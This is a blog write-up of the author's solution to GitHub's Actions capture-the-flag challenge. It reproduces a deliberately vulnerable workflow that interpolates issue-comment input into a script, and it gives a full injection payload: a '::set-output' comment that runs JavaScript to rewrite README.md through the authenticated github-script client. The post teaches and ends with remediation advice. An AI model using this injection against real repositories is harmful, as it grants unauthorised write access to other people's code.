How I solved github’s actions capture the flag challenge
Tags: githubactions, ctf, security
Published: 2021-04-01 16:54:40

---
title: How I solved github’s actions capture the flag challenge
published: true
description: A while back, Github posted a capture the flag challenge with github actions. The challenge was to go from having read-only access to write access in a repository. Here I'm speaking about how I solved that challenge.
tags: githubactions, ctf, security
canonical_url: https://www.errietta.me/blog/github-actions-ctf/
cover_image: https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fxxs9aaycvmeew0uvx8w.png---

## Introduction

First of all, I’m aware it’s April 1st, I was thinking of some joke post but then I remembered that I have an actual serious post I’d like to write, so this is not any kind of joke.

## The challenge & repo

A while back, Github posted a capture the flag challenge with github actions. The challenge was to go from having read-only access to write access in a repository.

The repository had only one file, a github actions workflow `.github/workflows/comment-logger.yml`.

This is the file:

```yaml
name: log and process issue comments
on:
  issue_comment:
    types: [created]

jobs:
  issue_comment:
    name: log issue comment
    runs-on: ubuntu-latest
    steps:
      - id: comment_log
        name: log issue comment
        uses: actions/github-script@v3
        env:
          COMMENT_BODY: ${{ github.event.comment.body }}
          COMMENT_ID: ${{ github.event.comment.id }}
        with:
          github-token: "deadc0de"
          script: |
            console.log(process.env.COMMENT_BODY)
            return process.env.COMMENT_ID
          result-encoding: string
      - id: comment_process
        name: process comment
        uses: actions/github-script@v3
        timeout-minutes: 1
        if: ${{ steps.comment_log.outputs.COMMENT_ID }}
        with:
          script: |
            const id = ${{ steps.comment_log.outputs.COMMENT_ID }}
            return ""
          result-encoding: string
```
So how could that github action be taken advantage of to gain repository write access?

## Reading up


Github had provided some useful reading material and the first thing I stumbled across was the [untrusted input documentation](https://securitylab.github.com/research/github-actions-untrusted-input). When using user input in an action, it’s important to not evaluate the value as code. 

I quickly realised that this was being done here:
```yaml
COMMENT_BODY: ${{ github.event.comment.body }}
COMMENT_ID: ${{ github.event.comment.id }}
```
And here: `${{ steps.comment_log.outputs.COMMENT_ID }}`

How could I abuse that?

## Arbitrary code execution

This line of code was particularly interesting:

```javascript
const id = ${{ steps.comment_log.outputs.COMMENT_ID }}
```

Surely if I could set the `COMMENT_ID` value to some javascript code, that would be executed in the script.

The `COMMENT_ID` output was not being set, but the previous script was using the comment body to log to the console:
```javascript
console.log(process.env.COMMENT_BODY)
```

Could this be used to set `COMMENT_ID`?


### Setting output

It turns out that you can set output by printing a special string to stdout. If I could print `::set-output name=OUTPUT_NAME::VALUE ` then that would set `OUTPUT_NAME` to `VALUE`. Furthermore, because the `COMMENT_BODY` variable was being set by a user’s arbitrary comment on an issue, I could essentially create a comment with that particular string, and force the output to be set.
I set to work creating an issue and trying to comment on it. The very first thing I tried was `::set-output name=COMMENT_ID::;`. That caused a syntax error to happen! This meant that the `COMMENT_ID` output was indeed being set and executed in that `const id = ...` line.

### Taking advantage of the vulnerability

Since I could execute arbitrary javascript code, could I use that to gain write access to the repo? Well it turns out there was a great attack vector in that github action :
```yaml
    uses: actions/github-script@v3
```

The github-script action gives access to an authenticated github client, available at the github variable! This meant that I essentially had access to a github client with write access to the repo! All that was left was figuring out the correct API calls to abuse it.

It took a while, but I eventually wrote a proof of concept that modified README.md in the repository (which was the goal of the CTF):


```javascript
(async () => {
  const res = await github.repos.getContent({
    "owner": "incrediblysecureinc",
    path: "README.md",
    repo: "incredibly-secure-errietta",
    ref: "refs/heads/main",
  });

  await github.repos.createOrUpdateFileContents({
    owner: "incrediblysecureinc",
    repo: "incredibly-secure-errietta",
    path: "README.md",
    message: "editing",
    content: "SSBkaWQgaXQ=",  // base64 for "I did it"
    branch: "main",
    "committer.name": "Erry Kostala",
    "committer.email": "YOUR_EMAIL",
    "author.name": "Erry Kostala",
    "author.email": "YOUR_EMAIL",
    "sha": res.data.sha
  });
})();
```

Now I just needed to make it fit in the `set-output` line so I could make it an issue comment.
This was the final issue comment:

```
::set-output name=COMMENT_ID::1;(async()=>{const e=await github.repos.getContent({owner:"incrediblysecureinc",path:"README.md",repo:"incredibly-secure-errietta",ref:"refs/heads/main"});await github.repos.createOrUpdateFileContents({owner:"incrediblysecureinc",repo:"incredibly-secure-errietta",path:"README.md",message:"editing",content:"SSBkaWQgaXQ=",branch:"main","committer.name":"Erry Kostala","committer.email":"email","author.name":"Erry Kostala","author.email":"email",sha:e.data.sha})})();
```

With this well-crafted comment, I watched the github action run

![Github action running](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/r5o48ylmcfp0inagiue6.png)


And.. success! I exploited a vulnerability to arbitrarily change the contents of a file in the repo, all by just commenting on an issue!

![The edited file](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fxxs9aaycvmeew0uvx8w.png)

## Conclusion

I think this CTF illustrates how important it is to be extremely careful with user input. Never trust arbitrary input in your scripts, use methods to escape it and think twice as to whether it’s actually necessary to use that input in your code. The github actions untrusted input article also has some [remediation suggestions](https://securitylab.github.com/research/github-actions-untrusted-input/#remediation) to prevent this from happening.